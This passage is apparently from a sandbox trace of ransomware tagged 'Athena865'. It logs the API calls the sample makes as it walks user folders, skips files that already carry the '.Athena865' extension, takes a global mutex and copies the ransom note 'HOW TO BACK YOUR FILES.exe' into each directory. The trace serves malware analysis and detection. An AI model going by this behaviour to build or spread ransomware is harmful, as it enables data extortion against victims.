ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc61ccea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ac20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT.Athena865", cAlternateFileName="GDIPFO~1.ATH")) returned 1 [0100.505] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.505] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.505] lstrcpyW (in: lpString1=0x241e8a2, lpString2="GDIPFONTCACHEV1.DAT.Athena865" | out: lpString1="GDIPFONTCACHEV1.DAT.Athena865") returned="GDIPFONTCACHEV1.DAT.Athena865" [0100.505] lstrlenW (lpString="GDIPFONTCACHEV1.DAT.Athena865") returned 29 [0100.505] lstrlenW (lpString="Athena865") returned 9 [0100.505] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.505] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0100.505] lstrcmpiW (lpString1="Google", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.505] lstrcmpiW (lpString1="Google", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.505] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Google" | out: lpString1="Google") returned="Google" [0100.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f408 [0100.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53f888 [0100.505] lstrcatW (in: lpString1="Google", lpString2="\\" | out: lpString1="Google\\") returned="Google\\" [0100.505] lstrcatW (in: lpString1="Google\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Google\\HOW TO BACK YOUR FILES.exe") returned="Google\\HOW TO BACK YOUR FILES.exe" [0100.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\google\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.506] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0100.506] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.506] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.506] lstrcpyW (in: lpString1=0x241e8a2, lpString2="History" | out: lpString1="History") returned="History" [0100.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f420 [0100.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539c20 [0100.506] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0100.506] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0100.506] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.507] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.507] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.507] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0100.507] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.507] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.507] lstrcpyW (in: lpString1=0x241e8a2, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0100.507] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0100.507] lstrlenW (lpString="Athena865") returned 9 [0100.507] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.507] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.507] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.507] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.507] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0100.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f438 [0100.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x5407a8 [0100.507] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.507] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.507] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.508] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0100.508] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.508] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.508] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0100.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f450 [0100.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53b820 [0100.508] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0100.508] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0100.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.508] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0100.508] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.509] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.509] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0100.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f468 [0100.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x540820 [0100.509] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0100.509] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0100.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.509] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7362bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb7362bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0100.509] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.509] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.509] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0100.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f480 [0100.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x5331e0 [0100.509] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0100.509] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0100.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.510] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0100.510] lstrcmpiW (lpString1="VirtualStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.510] lstrcmpiW (lpString1="VirtualStore", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.510] lstrcpyW (in: lpString1=0x241e8a2, lpString2="VirtualStore" | out: lpString1="VirtualStore") returned="VirtualStore" [0100.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f498 [0100.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53b8a0 [0100.510] lstrcatW (in: lpString1="VirtualStore", lpString2="\\" | out: lpString1="VirtualStore\\") returned="VirtualStore\\" [0100.510] lstrcatW (in: lpString1="VirtualStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VirtualStore\\HOW TO BACK YOUR FILES.exe") returned="VirtualStore\\HOW TO BACK YOUR FILES.exe" [0100.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.511] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0100.511] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.511] ReleaseMutex (hMutex=0xec) returned 1 [0100.511] CloseHandle (hObject=0xec) returned 1 [0100.511] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0100.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5175c8 | out: hHeap=0x4f0000) returned 1 [0100.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aed8 | out: hHeap=0x4f0000) returned 1 [0100.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 35 [0100.511] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1FED7AC998105BF38E6F626F6AAB0983") returned 0xec [0100.511] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.511] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0100.511] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.512] GetLastError () returned 0x0 [0100.512] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.512] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.513] CloseHandle (hObject=0xf4) returned 1 [0100.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.513] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.513] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6349c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.513] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.513] lstrcpyW (in: lpString1=0x241e890, lpString2="0cT-PTi6AHe.mp3.Athena865" | out: lpString1="0cT-PTi6AHe.mp3.Athena865") returned="0cT-PTi6AHe.mp3.Athena865" [0100.513] lstrlenW (lpString="0cT-PTi6AHe.mp3.Athena865") returned 25 [0100.514] lstrlenW (lpString="Athena865") returned 9 [0100.514] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.514] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0xc62fd9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62fd9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqajU", cAlternateFileName="")) returned 1 [0100.514] lstrcmpiW (lpString1="CqajU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.514] lstrcmpiW (lpString1="CqajU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.514] lstrcpyW (in: lpString1=0x241e890, lpString2="CqajU" | out: lpString1="CqajU") returned="CqajU" [0100.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aed8 [0100.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52ffe0 [0100.514] lstrcatW (in: lpString1="CqajU", lpString2="\\" | out: lpString1="CqajU\\") returned="CqajU\\" [0100.514] lstrcatW (in: lpString1="CqajU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CqajU\\HOW TO BACK YOUR FILES.exe") returned="CqajU\\HOW TO BACK YOUR FILES.exe" [0100.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cqaju\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.514] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.514] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.514] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.515] lstrcpyW (in: lpString1=0x241e890, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.515] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.515] lstrlenW (lpString="Athena865") returned 9 [0100.515] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.515] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.515] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.515] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0xc6323b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6323b00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wJbyzOVnUZ9XR-P9FoKE", cAlternateFileName="WJBYZO~1")) returned 1 [0100.515] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.515] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.515] lstrcpyW (in: lpString1=0x241e890, lpString2="wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE") returned="wJbyzOVnUZ9XR-P9FoKE" [0100.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f4b0 [0100.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b920 [0100.515] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="\\" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\") returned="wJbyzOVnUZ9XR-P9FoKE\\" [0100.515] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe") returned="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" [0100.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.516] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 1 [0100.516] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.516] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.516] lstrcpyW (in: 